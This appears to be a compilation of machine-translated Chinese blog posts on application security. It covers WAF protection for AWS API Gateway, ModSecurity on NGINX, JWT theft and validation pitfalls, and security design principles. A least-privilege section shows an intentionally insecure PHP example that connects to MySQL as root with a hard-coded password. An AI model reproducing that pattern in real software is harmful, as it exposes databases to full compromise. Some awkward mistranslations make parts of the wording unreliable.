无服务器架构正变得越来越流行,而亚马逊的API网关服务是AWS上许多无服务器部署的关键因素。 目前,API网关仅支持公共CloudFront端点,并且保护具有高端WAF保护的API网关可能看起来是一项艰巨的任务。 在这篇博文中,我们将解释如何使用SecureSphere WAF保护示例API网关应用程序。
虽然此处的重点是AWS,但请记住,以下内容也可用于保护其他公共端点或API网关供应商。
示例API网关应用程序 - 入门
常见的Amazon API Gateway部署可能如下所示(图1):
图1:使用AWS API Gateway的典型应用程序部署模式
此示例应用程序完全无服务器,并使用AWS服务进行扩展,自动配置,授权,日志记录等。 有很好的在线教程可以教你如何部署这样的应用程序(使用现成的CloudFormation模板)。
部署API后,API网关会创建一个具有面向公众的URL的阶段(参见图2):
图2:AWS API Gateway Console显示运行“Deploy API”后创建的公共端点
此阶段实际上是隐藏的CloudFront分配。 接下来,您需要创建一个正确的CloudFront分配,以便Imperva SecureSphere可以在没有客户端SNI的情况下与之通信(图3):
图3:AWS CloudFront控制台,其新分发转发到我们的API网关端点
您不希望客户端应用程序或用户在没有保护的情况下直接访问此端点,因此下一步是在AWS上设置SecureSphere堆栈。
设置SecureSphere AWS公共端点堆栈
目标是使用SecureSphere WAF和AWS实现以下架构(图4):
图4:SecureSphere WAF部署体系结构,用于保护AWS API Gateway流量
在大多数情况下,AWS上的SecureSphere部署将保护与SecureSphere堆栈或对等VPC位于同一VPC中的Web端点。 由于SecureSphere支持反向代理体系结构,因此它也可以保护公共端点。 要了解有关如何在AWS中部署SecureSphere的更多信息,请参阅此博客文章。
最后,部署的堆栈应如下所示(图5):
图5:AWS上SecureSphere WAF部署的详细架构图,用于保护公共端点
架构摘要:
- 公共端点成为外部负载均衡器DNS名称(需要将外部主机名的DNS附件添加到ELB主机名)。
- WAF网关将外部主机名(例如www.mycompany.com)重写到AWS API网关端点(fznty25z54.execute-api.us-east-1.amazonaws.com)。
- WAF网关处理请求并将它们路由到CloudFront域名(d2we3m806cjgh0.cloudfront.net)。
- VPC出口点通过NAT网关弹性IP完成(也可以使用代理或NAT实例)。这些是静态IP,可用于限制对AWS API Gateway的访问。
- 如果SecureSphere Management Server位于公有子网中并可从Internet访问,则它应具有严格的安全组,以限制可以访问它的IP地址。
- 建议SecureSphere堆栈和AWS API Gateway位于同一区域,以获得最佳延迟性能。
在SecureSphere中,您应该有一个URL重写规则,如下所示(图6):
图6:SecureSphere URL重写规则
API网关通过其生成的主机名(fznty25z54.execute-api.us-east-1.amazonaws.com)了解应用程序。 此URL重写规则将外部主机名(www.company.com)转换为API网关主机名。
SecureSphere反向代理配置应如下所示(图7):
图7:SecureSphere反向代理规则。 点击放大图片。
首先,URL重写规则(apig)生效,然后将API网关流量(Host = fznty25z54.execute-api.us-east-1.amazonaws.com)路由到CloudFront端点(Internal Hostname = d2we3m806cjgh0.cloudfront.net)。
限制对API网关的访问
此时,您的公共域名(www.company.com)将通过SecureSphere WAF。 但是,您仍然可以绕过SecureSphere WAF的公共API网关端点。 AWS API Gateway不支持安全组来限制IP访问,但您可以使用其授权功能执行变通方法。
通过SecureSphere的流量始终来自SecureSphere堆栈中的公共NAT网关EIP。 您需要在API网关中创建一个“自定义授权程序”,它只允许访问这些IP地址(图8):
图8:限制对SecureSphere堆栈公共IP的访问的自定义Lambda Authorizer(52.55.64.33)
需要为应用程序中的每个方法设置授权,但如果您已经在使用IAM授权,则可以轻松添加IP条件。
补充说明
AWS出站流量(来自VPC)可能会变得昂贵。如果您有大量静态内容,请考虑直接访问S3(或存储内容的任何位置)并绕过WAF以减少双跳和收费。
如果您的API网关充当HTTP通信的代理,则可以将WAF放置在API网关和HTTP端点之间。更常见的是,API网关支持Lambda函数或其他AWS服务,因此需要将WAF置于API网关之前。
AWS API网关替代方案(例如,Apigee)支持VPC集成,因此允许更传统的边界安全架构。 AWS API Gateway可能会在未来引入对类似架构的支持。
最后,请记住,创建“公共SecureSphere堆栈”可以为您提供SecureSphere的安全控制,并具有将WAF和应用程序端点分离的灵活性。您正在创建自己的SaaS WAF解决方案,可以为任何Web端点提供保护 - 无论它在何处或何处。
原文:https://www.imperva.com/blog/how-to-protect-aws-api-gateway-with-securesphere-waf/
本文:http://pub.intelligentx.net/how-protect-aws-api-gateway-securesphere-waf
讨论:请加入知识星球或者小红圈【首席架构师圈】
- 82 次浏览
【应用安全】如何用NGINX实现ModSecurity WAF
世界上几乎有三分之一的网站使用NGINX web服务器,而且这个数字还在不断增长。越来越多的组织选择NGINX作为web服务器的原因很简单。它提供了良好的性能,并且是轻量级的,但同时也很健壮。
Web应用程序防火墙(WAF)
什么是web应用程序防火墙?它与网络防火墙有何不同?网络防火墙根据预先确定的规则监视和控制传入和传出的网络流量。通常,对于网络防火墙来说,恶意请求或攻击看起来就像正常的流量。有一些下一代网络防火墙是应用程序感知的,但它们是基础设施堆栈的一部分,而不是应用程序堆栈。web应用程序防火墙将作为应用程序堆栈的一部分来防止应用程序级别的攻击。随着应用程序的开发和测试,WAF策略和规则将成为流程的一部分,并与堆栈一起部署。作为第7层或HTTP层安全性的一部分,WAF将检查HTTP通信,并根据规则发出警报、记录或阻止请求。
何时使用WAF?
- 合规要求。
- 为开发团队提供缓冲。如果发现了任何漏洞,可以立即在WAF级别减轻这些漏洞,而开发团队可以更改代码并修补问题。
ModSecurity是什么?
这是在2002年作为Apache模块由唯一作者RistićApache开发的。大约在2012年,这个模块的许可被改变了,这允许为NGINX和IIS等服务器开发模块。ModSecurity module已经存在一段时间了,现在已经发布了不同的版本。与旧版本相比,最新版本(在撰写本文时)v3具有相当大的性能提升。它也可以作为动态模块使用,这意味着您不需要再次使用该模块编译NGINX,而只需编译该模块并将其插入web服务器即可。
安装ModSecurity v3
我们将深入研究使用Amazon Linux在AWS EC2上安装此模块的细节。本博客假设您已经安装并运行了NGINX,并且对NGINX配置文件有基本的了解。
注意:NGINX版本1.11.5或更高版本是必需的。
先决条件的包
如果您在服务器上从早期的源代码编译了NGINX,那么所有的包可能都已经在服务器上了。
yum install gcc make automake curl curl-devel httpd-devel autoconf libtool pcre pcre-devel libxml2 libxml2-devel
从源代码编译ModSecurity v3模块
代码编译分为两部分。编译ModSecurity代码作为NGINX的一个动态模块。将动态模块链接到正在运行的web服务器的连接器的编译。由于ModSecurity项目的模块化特性,要将其插入不同的服务器,只需为该服务器编译相应的连接器。据我所知,NGINX、Apache和IIS都有独立的连接器。
ModSecurity编译代码
$ git clone --depth 1 -b v3/master --single-branch https://github.com/SpiderLabs/ModSecurity$ cd ModSecurity $ git submodule init $ git submodule update $ ./build.sh $ ./configure $ make $ make installDuring the process of installation it is safe to ignore the below message. fatal: No names found, cannot describe anything.Depending on the machine the compilation should be complete in about 12-15 mins.
为NGINX编译ModSecurity连接器作为一个动态模块
$ git clone --depth 1 https://github.com/SpiderLabs/ModSecurity-nginx.git
虽然只有动态模块将被编译完整的源代码Nginx需要编译模块。
确定安装了哪个版本的Nginx,以及来自官方站点的特定版本的源代码。
$ nginx -v nginx version: nginx/1.14.1Get the source code $ wget http://nginx.org/download/nginx-1.14.1.tar.gz $ tar -xvzmf nginx-1.14.1.tar.gz
现在我们已经有了所有的代码,让我们编译模块。编译这个模块有一个陷阱。模块应该使用与编译服务器上的nginx相同的参数编译。您将能够使用nginx -V命令列出所有初始配置参数。
$ cd nginx-1.14.1.tar.gz
$ ./configure <original configuration here> --add-dynamic-module=../ModSecurity-nginx
$ make modules
$ cp objs/ngx_http_modsecurity_module.so /etc/nginx/modules
在上面的编译中有几点需要注意。
- 如果依赖项不可用,可以从原始配置中删除——with-xxxxx-module=dynamic选项。
- 复制共享对象(.so)文件时,需要确保将其复制到服务器上正确的文件夹。上面命令中提到的路径是通用位置,但是这可能会根据服务器配置而改变。
在Nginx中加载ModSecurity动态模块
将以下load_module指令添加到/etc/nginx/nginx.conf文件的顶层配置文件。它指示NGINX在加载配置时加载ModSecurity动态模块。
load_module modules/ngx_http_modsecurity_module.so
如果在加载模块时遇到一个错误,大致是“未能从:unicode加载定位unicode映射文件”。你可以遵循这个思路。基本上,您需要做的是复制这个文件到/etc/nginx/modsec/unicode.mapping
ModSecurity配置模块
有一个单独的文件夹可以保存所有modSecurity配置文件,这样更干净。这里,我们将使用ModSecurity项目当前维护者TrustWave SpiderLabs提供的配置文件标准推荐。
$ mkdir /etc/nginx/modsec
$ wget -P /etc/nginx/modsec/ https://raw.githubusercontent.com/SpiderLabs/ModSecurity/v3/master/mods…
$ mv /etc/nginx/modsec/modsecurity.conf-recommended /etc/nginx/modsec/modsecurity.conf
默认情况下,该文件中的配置设置为DetectionOnly,这意味着将检测并记录恶意请求,但不会删除这些请求。将指令更改为主动删除请求。我建议对登台实例执行此操作,并在应用程序运行于任何生产实例之前对其进行测试。
配置引擎以主动删除恶意请求。
出于本博客的目的,我们将配置几个简单的规则。将以下文本放入/etc/nginx/modsec/main.conf:
Include "/etc/nginx/modsec/modsecurity.conf"
# Basic test rule
SecRule ARGS:blogtest "@contains test" "id:1111,deny,status:403"
SecRule REQUEST_URI "@beginsWith /admin" "phase:2,t:lowercase,id:2222,deny,msg:'block admin'"
规则1说,如果有一个名为“blogtest”的查询参数,其中包含一个值“test”,则删除请求。
规则2说,如果有一个URI以admin开头,则删除请求。
在生产环境中,您可能希望有更好的规则来防止恶意请求。OWASP核心规则集可能是一个很好的起点。
使ModSecurity模块
到目前为止,我们所做的就是安装模块,让NGINX加载它,并为模块设置一些配置。这并不意味着您所配置的服务器现在将开始使用这些配置。我们需要通过添加以下两个指令来为我们想要覆盖的主机启用这个模块:
server {
# Other server directives here
modsecurity on;
modsecurity_rules_file /etc/nginx/modsec/main.conf;
}
不需要为服务器上的所有位置启用此模块。您还可以有一个配置,其中说只能在某些路径上启用,而不能在其他路径上启用。我不确定您为什么要这样做,但这实际上取决于您的用例。
server { listen 443; # modsecurity on; # All traffic over 443 have ModSec on location / { proxy_pass http://127.0.0.1:8080; modsecurity off; # ModSec off by default } location /waf { proxy_pass http://127.0.0.1:8080; modsecurity on; modsecurity_rules_file /etc/nginx/modsec/main.conf; error_log /var/log/nginx/waf.log; } }
测试配置
让我们运行一些curl请求来测试前面创建的简单规则。
$ curl http://localhost/adminaccess <html> <head><title>403 Forbidden</title></head> <body bgcolor="white"> <center><h1>403 Forbidden</h1></center> <hr><center>nginx/1.14.1</center> </body> </html>$ curl http://localhost/admin-login <html> <head><title>403 Forbidden</title></head> <body bgcolor="white"> <center><h1>403 Forbidden</h1></center> <hr><center>nginx/1.14.1</center> </body> </html>$ curl https://localhost?blogtest=thisistestparam <html> <head><title>403 Forbidden</title></head> <body bgcolor="white"> <center><h1>403 Forbidden</h1></center> <hr><center>nginx/1.14.1</center> </body> </html>
正在记录请求及其被删除的原因。
结论
没有足够的安全。不同层次的安全比单一层次的安全在更大程度上减轻了威胁。Web应用程序防火墙是抵御恶意攻击的最后一道防线。ModSecurity是一个开源项目,它与NGINX无缝结合,并且能够应用OWASP核心规则集。这是开始保护应用程序的好地方。
原文:https://medium.com/building-goalwise/how-to-implement-modsecurity-waf-with-nginx-15fdd42fa3
本文:
讨论:请加入知识星球或者小红圈【首席架构师圈】
- 197 次浏览
【应用安全】如果您的JWT被盗,会发生什么?
我们所有人都知道如果攻击者发现我们的用户凭据(电子邮件和密码)会发生什么:他们可以登录我们的帐户并造成严重破坏。 但是很多现代应用程序都在使用JSON Web令牌(JWT)来管理用户会话 - 如果JWT被泄露会发生什么? 由于越来越多的应用程序正在使用基于令牌的身份验证,因此这个问题与开发人员越来越相关,并且对于了解是否构建使用基于令牌的身份验证的任何类型的应用程序至关重要。
为了帮助完整地解释这些概念,我将向您介绍令牌是什么,它们如何被使用以及当它们被盗时会发生什么。 最后:如果你的令牌被盗,我会介绍你应该做什么,以及如何在将来防止这种情况。
这篇文章的灵感来自StackOverflow这个问题。 我对这个问题的回答已成为我迄今为止对StackOverflow最受欢迎的回复之一!
什么是令牌?
Web开发上下文中的标记只不过是表示会话的任意值。 标记可以是“abc123”之类的字符串,也可以是随机生成的ID,如“48ff796e-8c8a-46b9-9f25-f883c14734ea”。
令牌的目的是帮助服务器记住某人是谁。 以API服务为例:如果您有一个API密钥,可以让您通过服务器端应用程序与API服务进行通信,那么API密钥就是API服务用来“记住”您的身份的密钥,请查看您的帐户详细信息 ,并允许(或禁止)您提出请求。 在此示例中,您的API密钥是您的“令牌”,它允许您访问API。
然而,当大多数人今天谈论令牌时,他们实际上是指JWT(无论好坏)。
什么是JSON Web令牌(JWT)?
JSON Web令牌是特殊类型的令牌,其结构使得它们便于在Web上使用。 他们有一些定义特征:
- 它们表示为普通字符串。 这是一个真正的JWT:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IlJhbmRhbGwgRGVnZ2VzIiwiaWF0IjoxNTE2MjM5MDIyfQ.sNMELyC8ohN8WF_WRnRtdHMItOVizcscPiWsQJX9hmw
因为JWT只是URL安全字符串,所以它们很容易通过URL参数等传递。
- 它们包含JSON编码的数据。这意味着您可以根据需要为JWT存储尽可能多的JSON数据,并且可以将令牌字符串解码为JSON对象。这使它们便于嵌入信息。
- 它们是加密签名的。了解它的工作原理本身就是一个主题。现在,只要知道这意味着拥有JWT的任何可信方都可以判断令牌是否已被修改或更改。这意味着,如果您的应用程序或API服务生成一个令牌,表明某人是“免费”用户,而某人稍后会更改令牌以表明他们是“管理员”用户,您将能够检测到并采取相应行动。此属性使JWT对于在难以获得信任的Web上的各方之间共享信息非常有用。
这是一个小代码片段,它使用njwt库在JavaScript中创建和验证JWT。这个例子纯粹是为了让您一眼就能看到如何创建JWT,在其中嵌入一些JSON数据并验证它。
const njwt = require("njwt");
const secureRandom = require("secure-random");
// This is a "secret key" that the creator of the JWT must keep private.
var key = secureRandom(256, { type: "Buffer" });
// This is the JSON data embedded in the token.
var claims = {
iss: "https://api.com",
sub: "someuserid",
scope: "freeUser",
favoriteColor: "black"
};
// Create a JWT
var jwt = njwt.create(claims, key);
// Log the JWT
console.log(jwt);
// Jwt {
// header: JwtHeader { typ: 'JWT', alg: 'HS256' },
// body:
// JwtBody {
// iss: 'https://api.com',
// sub: 'someuserid',
// scope: 'freeUser',
// favoriteColor: 'black',
// jti: '903c5447-ebfd-43e8-8f4d-b7cc5922f5ec',
// iat: 1528824349,
// exp: 1528827949 },
// signingKey: <Buffer 9c e9 48 a7 b3 c9 87 be 5f 59 90 a5 08 02 9b 98 5c 5e 1c 29 3f b0 33 c5 8c c8 f9 c8 3e 35 f0 7c 20 a0 aa 65
cc 98 47 b6 31 c5 5c d6 4e 6e 25 29 2b d3 ... > }
// The JWT in compacted form (ready for sending over the network)
var token = jwt.compact();
// Log the compacted JWT
console.log(jwt.compact());
// eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwczovL2FwaS5jb20iLCJzdWIiOiJzb21ldXNlcmlkIiwic2NvcGUiOiJmcmVlVXNlciIsI
mZhdm9yaXRlQ29sb3IiOiJibGFjayIsImp0aSI6IjkwM2M1NDQ3LWViZmQtNDNlOC04ZjRkLWI3Y2M1OTIyZjVlYyIsImlhdCI6MTUyODgyNDM0OSwiZXhwIjoxNTI4ODI3OTQ5fQ.y7ad-nUsHAkI8a5bixYnr_v0vStRqnzsT4bbWGAM2vw
// Verify the JWT using the secret key
njwt.verify(token, key, (err, verifiedJwt) => {
if (err) throw err;
console.log("The JWT has been verified and can be trusted!");
// The JWT has been verified and can be trusted!
});
如何使用JSON Web令牌?
JWT通常用作Web应用程序,移动应用程序和API服务的会话标识符。但是,与传统会话标识符不同,传统会话标识符只是指向服务器端实际用户数据的指针,JWT通常直接包含用户数据。
JWT近年来变得流行的主要原因(自2014年以来仅存在)是它们可以包含任意JSON数据。 JWT相对于传统会话ID的好处是:
- JWT是无状态的,可以直接包含用户数据
- 因为JWT是无状态的,所以不需要实现服务器端会话(没有会话数据库,会话缓存等)
因为JWT是无状态的,所以当服务器端应用程序收到JWT时,它可以仅使用用于创建它的“密钥”来验证它 - 从而避免与后端数据库或缓存通信的性能损失,增加每个请求的延迟。
话虽如此,让我们来看看JWT通常如何在现代Web应用程序中使用。
- 客户端(通常是浏览器或移动客户端)将访问某种登录页面
- 客户端将其凭据发送到服务器端应用程序
- 服务器端应用程序将验证用户的凭据(通常是电子邮件地址和密码),然后生成包含用户信息的JWT。嵌入在JWT中的信息通常是:
- 用户的名字和姓氏
- 用户的电子邮件地址或用户名
- 用户的ID(如有必要,用于服务器端查找)
- 用户的权限(他们允许做什么?)
- 与正在使用的应用程序相关的任何其他数据
- 服务器端应用程序将此令牌返回给客户端
- 然后,客户端将存储此令牌,以便将来可以用它来标识自己。对于Web应用程序,这可能意味着客户端将令牌存储在HTML5本地存储中。对于服务器端API客户端,这可能意味着将令牌存储在磁盘或秘密存储中。
- 当客户端将来向服务器发出请求时,它会将JWT嵌入到HTTP Authorization标头中以标识自己
- 当服务器端应用程序收到新的传入请求时,它将检查是否存在HTTP Authorization标头,如果存在,它将解析标记并使用“密钥”验证它
- 最后,如果令牌有效并且循环将完成,则服务器端应用程序将处理请求
简而言之:JWT用于识别客户端。就客户而言,它们是王国的关键。
如果您的JSON Web令牌被盗,会发生什么?
简而言之:它很糟糕,真的很糟糕。
由于JWT用于识别客户端,如果其中一个被盗或受到攻击,攻击者可以完全访问用户的帐户,就像攻击者破坏用户的用户名和密码一样。
例如,如果攻击者获得了您的JWT,他们可以开始向服务器发送请求,将自己标识为您,并执行诸如进行服务更改,用户帐户更新等操作。一旦攻击者拥有您的JWT,就会结束游戏。
但是,有一件事使得被盗的JWT比被盗的用户名和密码稍微不那么糟糕:时机。由于JWT可以配置为在设定的时间(一分钟,一小时,一天等)后自动过期,因此攻击者只能使用您的JWT访问该服务,直到它过期。
从理论上讲,这听起来很棒,对吗?据称令牌认证的一种方式是使认证更加“安全”,这是通过短期令牌实现的。这是近年来基于令牌的身份验证真正起步的核心原因之一:您可以自动使令牌过期并降低依赖永久缓存的“无状态”令牌的风险。
毕竟,在安全领域,依靠缓存数据做出敏感决策,例如谁可以登录服务以及他们可以做什么被认为是一件坏事。因为令牌是无状态的并且允许比传统会话认证有一些速度改进,所以它们保持某种程度上“安全”的唯一方式是限制它们的寿命,以便它们在受到危害时不会造成太大的伤害。
这里唯一的问题是,如果攻击者首先能够窃取您的令牌,那么一旦获得新令牌,他们很可能会这样做。这种情况最常见的方式是通过中间人(MITM)连接或直接访问客户端或服务器。不幸的是,在这些情况下,即使是最短寿命的JWT也根本无法帮助你。
通常,令牌应被视为密码并受到保护。它们永远不应公开共享,并应保存在安全的数据存储中。对于基于浏览器的应用程序,这意味着永远不会将您的令牌存储在HTML5本地存储中,而是将令牌存储在JavaScript无法访问的服务器端cookie中。
通常,基于令牌的身份验证不会提供依赖于不透明会话标识符的典型基于会话的身份验证的任何额外安全性。虽然基于令牌的身份验证肯定有很多用例,但了解技术的工作原理以及弱点的位置至关重要。
另一个有趣的事情是,在某些情况下,被盗的JWT实际上可能比被盗的用户名和密码更糟糕。
让我们暂时假装您的用户名和密码已被盗用。在这种情况下,如果您登录的应用程序受多因素身份验证保护,则攻击者需要绕过其他身份验证机制才能访问您的帐户。
虽然猜测或暴力破解用户名和密码是一个非常现实的场景,但是能够危及用户的多因素身份验证设置可能非常困难。绕过基于应用程序的授权,短信验证,面部识别码,触摸ID等因素比猜测用户密码更具挑战性。
因此,受损的JWT实际上可能比受损的用户名和密码具有更大的安全风险。想象一下上面的场景,用户登录的应用程序受多因素身份验证的保护。一旦用户通过多因素登录并验证自己,就会为他们分配一个JWT来证明他们是谁。如果JWT被盗,攻击者不再需要直接绕过MFA(就像他们只有用户的用户名和密码一样) - 他们现在可以直接向用户发出请求而无需额外的身份证明。相当大的风险。
如果您的JWT被盗,该怎么办?
一旦JWT被盗,您将陷入困境:攻击者现在可以冒充客户并在未经客户同意的情况下访问您的服务。但是,即使你处境糟糕,你仍然需要充分利用它。
如果客户的令牌被盗,可以采取以下步骤。这些建议不适用于所有类型的应用,但应为您提供一些好主意,以帮助您从此安全事件中恢复:
- 立即撤销受损的令牌。如果您在服务器上使用撤销列表来使令牌无效,则撤消令牌可立即将攻击者从系统中启动,直到他们获得新令牌为止。虽然这是一个临时解决方案,但它会让攻击者的生活变得更加困难。
- 强制您的客户立即更改密码。在Web或移动应用程序的上下文中,强制您的用户立即重置其密码,最好通过某种多因素身份验证流程,如Okta提供的那样。如果攻击者试图使用受感染的令牌修改用户登录凭据,则强制用户更改其密码可能会使攻击者远离其帐户。通过要求多因素身份验证,您可以更自信地重置其凭据的用户是他们所声称的人而不是攻击者。
- 检查客户的环境。用户的手机是否被盗,以便攻击者可以访问预先认证的移动应用程序?客户端是否从受感染的设备(如移动电话或受感染的计算机)访问您的服务?发现攻击者如何获得令牌是完全理解错误的唯一方法。
- 检查您的服务器端环境。攻击者是否能够从您的角色中妥协令牌?如果是这样,这可能需要更多的工作来修复,但越早开始就越好。
一旦完成了这些步骤,您应该更好地了解令牌是如何被泄露的,以及需要采取哪些措施来防止令牌在未来发生。
如何检测令牌妥协
当令牌妥协确实发生时,它可能会导致重大问题。特别是如果您(作为服务提供商)无法快速检测到攻击者已经破坏了客户端的令牌。
如果您能够自动识别令牌被泄露的情况怎么办?这将极大地提高您服务的安全性,因为您可以主动防止可疑请求得到满足,从而保护您的服务和用户。
虽然不容易,但这绝对是可能的。像TensorFlow这样的现代机器学习工具包允许您构建功能(虽然复杂)的管道,以检测异常模式并主动负责这种情况。
例如,您可以使用机器学习来检测不寻常的客户端位置。假设您运行一个网站,并且您的用户已从旧金山登录并且已经提出了几个小时的请求。如果您发现请求在短时间内开始来自不同的地理区域,您可以立即阻止这些请求被执行,撤消令牌,并联系用户以重置其密码等。
以类似的方式,您可以使用机器学习来检测异常的客户端行为。如果令牌遭到入侵,攻击者很可能会采取措施以某种方式滥用您的服务。如果您的用户通常在您的网站上每分钟发出五个请求,但突然之间您会注意到用户每分钟发出50多个请求的大幅提升,这可能是攻击者获得保留的良好指标用户的令牌,因此您可以撤消令牌并联系用户以重置其密码。
通过机器学习进行模式检测和识别是处理这些更复杂问题的一种奇妙的现代方法。
这正是我们在Okta所做的 - 我们运行一个API服务,允许您在我们的服务中存储用户帐户,我们提供开发人员库来处理身份验证,授权,社交登录,单点登录,多因素等事务当用户登录由Okta提供支持的应用程序时,我们会分析一些数据点以检测帐户是否已被盗用,提示进行多因素身份验证,执行用户外展等。
积极主动地保护您的安全性有很多复杂性,但准备比准备好要好得多。
- 285 次浏览
【应用安全】常见的JWT安全漏洞以及如何避免它们
JSON Web令牌标准已经在IETF和OIDF上收到了许多安全审查,专家认为它足够安全。但这并不是万无一失的。作为开发人员,如果不适当地使用JWT或实现JWT的库(包括这个库),就很容易搬起石头砸自己的脚。
1. 永远不要让JWT头单独驱动验证
收到的JWTs必须经过适当的验证。当您这样做时,永远不要让JWT或它的任何头参数单独驱动验证过程。始终有一个明确的合同,适合您的应用程序,规定了允许的JWT算法和其他头部或负载参数。
在此初始筛选成功通过之前,不要尝试加密处理JWT。如果您收到一个JWT,其中包含一个未预料到的算法,那么丢弃它,并立即停止。
请记住,JWTs可以作为HMAC受保护的、签名的、加密的,甚至完全不安全的(alg = none)。JWT解析并具有正确的格式并不意味着它是可信的。让你的应用程序容易受到攻击的最明显的方法是获取alg头部,然后立即验证JWT的HMAC或签名,而不是首先检查JWT alg是否可以接受。如果你的应用程序得到一个不安全的JWT与alg = none会发生什么?
所以请记住,一定要有一个明确的合同,并使用它来筛选每个JWT之前,试图解密它,或检查其签名或HMAC。
例如,OpenID连接客户端在注册时建立允许的ID令牌安全算法。不匹配预期算法的ID令牌将被立即丢弃。
示例ID令牌契约:
{ "id_token_signed_response_alg" : "RS256",
"id_token_encrypted_response_alg" : "RSA-OAEP",
"id_token_encrypted_response_enc" : "A128GCM"
}
OpenID Connect进一步指定验证ID令牌的RSA或EC密钥来自何处:这是IdP发布的JWK集合URL,而不是其他地方。如果多个密钥在JWK集合URL上发布,那么应该使用哪个密钥?这是通过JWT的kid (key ID)头参数进行通信的。
{ "alg" : "RS256",
"kid" : "sho0jea6" }
如果要验证ID令牌,请使用经过良好测试和建立的库,比如Pac4j。是的,我们确实维护了一个全面的OpenID Connect SDK,但是我们建议您使用更高级别的Pac4j,因为它提供了一个更适合开发人员的包。
如果要将JWTs验证为OAuth 2.0访问令牌,请查看这里的示例。它演示了Nimbus JOSE+JWT框架在处理JWTs时的用法,该框架考虑了上述所有因素。
2. 知道这个算法
了解您的算法,以及在完整性、真实性、不可抵赖性和机密性方面,您可以期望它们具有哪些安全性属性。
常见的错误是将基于哈希的消息验证码(HMAC)等同于数字签名。不,它们是不一样的,即使它们使用一种公共格式(JSON Web签名)。请记住,JWS格式也用于不安全的JWTs (alg = none)。
这个库不允许您将不安全的JWTs与HMAC或数字签名保护的JWTs混淆,因为它使用了单独的Java类型。但其他库可能不会强制执行此功能。我们发现OOP和类型安全通常对安全性有好处。
如果您想知道您的应用程序使用哪种特定的JWS或JWE算法,请查看我们的算法选择指南。
3.使用适当的密钥大小
请确保为应用程序使用适当的密钥大小。
这个库中有许多防止使用小于256位的HMAC密钥、小于128位的AES密钥或小于1024位的RSA密钥的检查(对于遗留应用程序,2048正在成为新的规范)。但是要注意,其他libs可能不会这样做。
最后,请记住采取所有必要的措施来确保共享或私有密钥的安全性。Nimbus JOSE+JWT已经准备好支持插入硬件安全模块(HSMs),即在外部设备中执行签名或加密的硬件片段,同时保持操作系统和软件无法访问密钥(以防它们受到攻击)。
原文:https://connect2id.com/products/nimbus-jose-jwt/vulnerabilities
本文:http://pub.intelligentx.net/common-jwt-security-vulnerabilities-and-how-avoid-them
讨论:请加入知识星球或者小红圈【首席架构师圈】
- 102 次浏览
【应用安全】应用安全原则
什么是应用程序安全原则?
应用程序安全性原则是理想的应用程序属性,行为,设计和实现实践的集合,旨在降低威胁实现的可能性,并在威胁实现时产生影响。安全原则是与语言无关的,体系结构中立的原语,可以在大多数软件开发方法中用于设计和构建应用程序。
原则很重要,因为它们可以帮助我们在新的情况下使用相同的基本思想做出安全决策。通过考虑这些原则中的每一个,我们可以得出安全要求,制定架构和实施决策,并识别系统中可能存在的缺陷。
需要记住的重要一点是,为了有用,必须对原则进行评估,解释和应用以解决特定问题。虽然原则可以作为一般指导原则,但只是告诉软件开发人员他们的软件必须“安全地失败”或者他们应该做“深度防御”并不意味着那么多。
一些成熟的应用安全原则
- 深度应用防御(完全调解)
- 使用积极的安全模型(故障安全默认值,最小化攻击面)
- 安全失败
- 以最小特权运行
- 通过默默无闻来避免安全(开放式设计)
- 保持安全简单(可验证,机制经济)
- 检测入侵(妥协录音)
- 不要信任基础设施
- 不要相信服务
- 建立安全默认值(心理可接受性)
应用安全原则
考虑设计一个简单的Web应用程序,允许用户向朋友发送电子邮件。通过评估和解释每个原则,我们可以对此应用程序产生许多威胁,并最终得出一组保护要求。我们希望最终提供安全提供此服务所需内容的完整列表。
References
- Saltzer and Schroeder (see section 3)
- The Six Dumbest Ideas in Computer Security
- Gary McGraw's 10 steps to secure software
- OWASP Development Guide Project
- Engineering Principles for Information Technology Security (EP-ITS), by Gary Stoneburner, Clark Hayden, and Alexis, NIST Special Publication (SP) 800-27 (PDF)
- Secure Design Principles from "Foundations of Security: What Every Programmer Needs To Know" by Neil Daswani, Christoph Kern, and Anita Kesavan (ISBN 1590597842)
- High-Assurance Design by Cliff Berg, 2005, Addison-Wesley. Foreword by Peter G. Neumann. Design principles and patterns for secure and reliable design.
深入讨论:请加入知识星球【首席架构师圈】
- 94 次浏览
【应用安全】应用安全原则:最少的特权
描述
最小权限原则建议帐户具有执行其业务流程所需的最少权限。这包括用户权限,资源权限(如CPU限制,内存,网络和文件系统权限)。
例子
授予中间件服务器的管理权限
例如,如果中间件服务器只需要访问网络,读取对数据库表的访问权限以及写入日志的能力,则会描述应授予的所有权限。在任何情况下都不应授予中间件管理权限。
以Root身份连接到数据库
在此示例PHP代码中,仅发出数据库中的SELECT语句。没有理由以root身份连接到数据库。相反,应该创建一个用户,只对数据库有必要的访问权限,可以用来执行SELECT查询。
<?php $host = 'localhost'; $userID = 'root'; $password = 'password'; $db = mysql_connect($host, $userID, $password) or die ('Error connecting to mysql'); $name = 'testdatabase'; mysql_select_db($name); $sql="SELECT * FROM theTable"; $result=mysql_query($sql); ?>
相关漏洞
- Failure to drop privileges when reasonable
- Failure to check whether privileges were dropped successfully
- Least Privilege Violation
相关控制
参考
讨论:加入知识星球【首席架构师圈】
- 31 次浏览
【应用安全】应用安全原则:检测入侵
描述
检测入侵需要三个要素:
- 记录安全相关事件的能力
- 确保定期监控日志的程序
- 一旦检测到正确响应入侵的程序
您应该记录所有安全相关信息。也许您可以通过查看在运行时无法检测到的日志来检测问题。但是你必须记录足够的信息。特别是,应记录所有安全机制的使用,并提供足够的信息来帮助追踪违法者。此外,应用程序中的日志记录功能还应提供管理记录信息的方法。如果安全分析师无法解析事件日志以确定哪些事件可操作,则日志记录事件几乎不提供任何值。
检测入侵很重要,否则你会给攻击者无限的时间来完善攻击。如果您完全检测到入侵,那么攻击者只有在被检测到并且无法发起更多攻击之前才会进行一次尝试。请记住,如果您收到合法用户无法生成的请求 - 这是一次攻击,您应该做出适当的回应。日志记录为您的应用程序/站点提供取证功能。如果它被摧毁或被黑客攻击,你可以追查罪魁祸首并检查出了什么问题。如果用户使用匿名代理,那么记录好日志仍然会有所帮助,因为记录了“发生的事情”并且可以更轻松地修复漏洞。
不要依赖其他技术来检测入侵。您的代码是系统中唯一具有足够信息来真正检测攻击的组件。其他任何事物都不会知道哪些参数有效,允许用户选择哪些操作等。它必须内置到应用程序中。
例子
简短的例子名称
